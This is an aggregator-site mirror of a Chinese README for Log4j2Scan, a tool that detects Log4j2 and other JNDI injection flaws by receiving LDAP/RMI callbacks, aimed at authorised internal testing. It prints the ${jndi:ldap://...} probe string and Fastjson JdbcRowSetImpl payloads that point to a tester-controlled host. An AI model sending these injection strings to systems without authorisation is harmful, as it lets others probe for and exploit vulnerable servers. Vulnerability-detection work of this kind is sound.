Giter VIP home page Giter VIP logo

log4j2scan's Introduction

Log4j2Scan

⚠️免责声明

在原有的协议中追加以下内容:

本项目禁止进行未授权商业用途

本项目禁止二次开发后进行商业用途

本项目仅面向合法授权的企业安全建设行为,在使用本项目进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权

如您在使用本项目的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任

在使用本项目前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意

除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要使用本项目

您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束

介绍

该项目由 天下大木头4ra1n 师傅 共同开发,感谢 4ra1n 师傅的许多帮助

这是什么?

该项目一款无须借助dnslog且完全无害的log4j2反连检测工具,解析RMILDAP协议实现,可用于甲方内网自查

特点:

  • golang编写,直接运行可执行文件进行检测
  • 完全无害,不存在任何Payload仅基于LDAPRMI协议检测
  • 动态渲染数据到web页面,方便观察结果

使用

使用${jndi:ldap://ip:端口/}这样的Payload

如果目标存在漏洞,该项目就会收到ldap/rmi请求,从而快速定位哪些目标存在漏洞

Demo

命令:./Log4j2Scan -p port(默认8001) -wp webport(默认8888)

    __                __ __  _ _____
   / /   ____  ____ _/ // / (_) ___/_________ _____
  / /   / __ \/ __ `/ // /_/ /\__ \/ ___/ __ `/ __ \
 / /___/ /_/ / /_/ /__  __/ /___/ / /__/ /_/ / / / /
/_____/\____/\__, /  /_/_/ //____/\___/\__,_/_/ /_/
 /____/    /___/
    coded by 天下大木头 & 4ra1n
[+] [16:36:26] use port: 8000
[+] [16:36:26] use http port: 8888
[+] [16:36:26] start fake reverse server
[+] [16:36:26] start result http server
|------------------------------------|
|--Payload: ldap/rmi://your-ip:port--|
|------------------------------------|

只需要将Payload设置为:ldap://your-ip:portrmi://your-ip:port/xxx

然后访问:localhost:8888即可动态查看最新结果

注意:rmi方式payload要为 //127.0.0.1:8001/xxxx 类似这种形式

拓展

不止用于Log4j2框架,也可用于检测存在JNDI注入的其他框架

例如Fastjson的检测:

{
	"@type": "com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName": "rmi://your-ip:port",
	"autoCommit": true
}

{
	"@type": "com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName": "ldap://your-ip:port",
	"autoCommit": true
}

log4j2scan's People

Contributors

4ra1n avatar kpli0rn avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.